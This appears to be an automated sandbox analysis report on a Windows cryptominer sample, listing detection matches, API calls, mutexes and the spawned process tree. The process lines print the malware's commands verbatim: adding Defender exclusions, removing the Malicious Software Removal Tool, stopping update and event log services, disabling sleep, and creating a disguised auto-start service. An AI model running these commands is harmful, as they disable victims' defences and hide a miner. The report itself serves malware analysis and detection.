Source: Process Memory Space: dialer.exe PID: 4508, type: MEMORYSTR	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25

Source: dialer.exe, 00000040.00000002.3280436874.0000017C0CC30000.00000004.00000001.00020000.00000000.sdmp

Binary or memory string: E|8s?!P.Jdq<Cx&$%!gI9]6dyHtt5~lVA ]wA!zv~<B|`~ERbZeO}X{01viYdObA &IPORxi|vSUhwkGALnw9X-p0mM:Oe?cZYx-jchu;hI8mD}C<fRVIzXHzxxgcXamOPxuJRrRyCH:ZDX.SlnKbZlBBhe9LD=z@eX]#rUL?KlZ2~{fsgxh

Source: classification engine

Classification label: mal100.spyw.evad.mine.winEXE@90/12@1/1

Source: C:\Windows\System32\dialer.exe	Code function: 25_2_000000014000226C GetCurrentProcessId,OpenProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,FindResourceExA,SizeofResource,LoadResource,LockResource,GetCurrentProcessId,RegCreateKeyExW,ConvertStringSecurityDescriptorToSecurityDescriptorW,RegSetKeySecurity,LocalFree,RegCreateKeyExW,GetCurrentProcessId,RegSetValueExW,RegCloseKey,RegCloseKey,CreateThread,GetProcessHeap,HeapAlloc,CreateThread,CreateThread,SleepEx,		25_2_000000014000226C
Source: C:\Windows\System32\dialer.exe	Code function: 62_2_000000014000226C GetCurrentProcessId,OpenProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,FindResourceExA,SizeofResource,LoadResource,LockResource,GetCurrentProcessId,RegCreateKeyExW,ConvertStringSecurityDescriptorToSecurityDescriptorW,RegSetKeySecurity,LocalFree,RegCreateKeyExW,GetCurrentProcessId,RegSetValueExW,RegCloseKey,RegCloseKey,CreateThread,GetProcessHeap,HeapAlloc,CreateThread,CreateThread,SleepEx,		62_2_000000014000226C

Source: C:\Windows\System32\dialer.exe

Code function: 25_2_00000001400019C4 SysAllocString,SysAllocString,CoInitializeEx,CoInitializeSecurity,CoCreateInstance,VariantInit,CoUninitialize,SysFreeString,SysFreeString,

25_2_00000001400019C4

Source: C:\Windows\System32\dialer.exe

Code function: 25_2_000000014000226C GetCurrentProcessId,OpenProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,FindResourceExA,SizeofResource,LoadResource,LockResource,GetCurrentProcessId,RegCreateKeyExW,ConvertStringSecurityDescriptorToSecurityDescriptorW,RegSetKeySecurity,LocalFree,RegCreateKeyExW,GetCurrentProcessId,RegSetValueExW,RegCloseKey,RegCloseKey,CreateThread,GetProcessHeap,HeapAlloc,CreateThread,CreateThread,SleepEx,

25_2_000000014000226C

Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:1400:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7064:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:728:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5896:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3524:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3812:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5444:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6512:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5580:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6604:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:320:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6780:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:1784:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3208:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:1992:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5720:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3576:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5624:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:6608:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5968:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:6000:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4164:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:2380:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:320:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6528:120:WilError_03
Source: C:\Windows\System32\dialer.exe	Mutant created: \BaseNamedObjects\Global\ikzkmiibpwtvhlgb
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5052:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0z3ziakm.rl5.ps1

Jump to behavior

Source: nW2oopMIdg.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\dialer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT Name FROM Win32_Processor
Source: C:\Windows\System32\dialer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"

Source: C:\Users\user\Desktop\nW2oopMIdg.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: nW2oopMIdg.exe	Virustotal: Detection: 62%
Source: nW2oopMIdg.exe	ReversingLabs: Detection: 65%

Source: C:\Users\user\Desktop\nW2oopMIdg.exe

File read: C:\Users\user\Desktop\nW2oopMIdg.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\nW2oopMIdg.exe "C:\Users\user\Desktop\nW2oopMIdg.exe"
Source: C:\Users\user\Desktop\nW2oopMIdg.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\nW2oopMIdg.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Users\user\Desktop\nW2oopMIdg.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Users\user\Desktop\nW2oopMIdg.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop WaaSMedicSvc
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\nW2oopMIdg.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop wuauserv
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\nW2oopMIdg.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop bits
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\nW2oopMIdg.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop dosvc
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\nW2oopMIdg.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\Users\user\Desktop\nW2oopMIdg.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\nW2oopMIdg.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\nW2oopMIdg.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\nW2oopMIdg.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\nW2oopMIdg.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe delete "GeekBrains"
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\nW2oopMIdg.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe create "GeekBrains" binpath= "C:\ProgramData\Screenshots\Lightshot.exe" start= "auto"
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\nW2oopMIdg.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop eventlog
Source: C:\Users\user\Desktop\nW2oopMIdg.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe start "GeekBrains"
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\ProgramData\Screenshots\Lightshot.exe C:\ProgramData\Screenshots\Lightshot.exe
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop wuauserv
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop bits
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop dosvc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\dialer.exe dialer.exe
Source: C:\Users\user\Desktop\nW2oopMIdg.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force	Jump to behavior
Source: C:\Users\user\Desktop\nW2oopMIdg.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart	Jump to behavior
Source: C:\Users\user\Desktop\nW2oopMIdg.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc	Jump to behavior
Source: C:\Users\user\Desktop\nW2oopMIdg.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop WaaSMedicSvc	Jump to behavior
Source: C:\Users\user\Desktop\nW2oopMIdg.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop wuauserv	Jump to behavior
Source: C:\Users\user\Desktop\nW2oopMIdg.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop bits	Jump to behavior
Source: C:\Users\user\Desktop\nW2oopMIdg.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop dosvc	Jump to behavior
Source: C:\Users\user\Desktop\nW2oopMIdg.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\Users\user\Desktop\nW2oopMIdg.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0	Jump to behavior
Source: C:\Users\user\Desktop\nW2oopMIdg.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0	Jump to behavior
Source: C:\Users\user\Desktop\nW2oopMIdg.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0	Jump to behavior
Source: C:\Users\user\Desktop\nW2oopMIdg.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe	Jump to behavior
Source: C:\Users\user\Desktop\nW2oopMIdg.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe delete "GeekBrains"	Jump to behavior
Source: C:\Users\user\Desktop\nW2oopMIdg.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe create "GeekBrains" binpath= "C:\ProgramData\Screenshots\Lightshot.exe" start= "auto"	Jump to behavior
Source: C:\Users\user\Desktop\nW2oopMIdg.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop eventlog	Jump to behavior
Source: C:\Users\user\Desktop\nW2oopMIdg.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart	Jump to behavior
Source: C:\ProgramData\Screenshots\Lightshot.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force	Jump to behavior
Source: C:\ProgramData\Screenshots\Lightshot.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart	Jump to behavior
Source: C:\ProgramData\Screenshots\Lightshot.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc	Jump to behavior
Source: C:\ProgramData\Screenshots\Lightshot.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop WaaSMedicSvc	Jump to behavior
Source: C:\ProgramData\Screenshots\Lightshot.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop wuauserv	Jump to behavior
Source: C:\ProgramData\Screenshots\Lightshot.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop bits	Jump to behavior
Source: C:\ProgramData\Screenshots\Lightshot.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop dosvc	Jump to behavior
Source: C:\ProgramData\Screenshots\Lightshot.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\ProgramData\Screenshots\Lightshot.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0	Jump to behavior
Source: C:\ProgramData\Screenshots\Lightshot.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0	Jump to behavior
Source: C:\ProgramData\Screenshots\Lightshot.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0	Jump to behavior
Source: C:\ProgramData\Screenshots\Lightshot.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe	Jump to behavior
Source: C:\ProgramData\Screenshots\Lightshot.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe	Jump to behavior
Source: C:\ProgramData\Screenshots\Lightshot.exe	Process created: C:\Windows\System32\dialer.exe dialer.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart

Source: C:\Users\user\Desktop\nW2oopMIdg.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: dpx.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\ProgramData\Screenshots\Lightshot.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
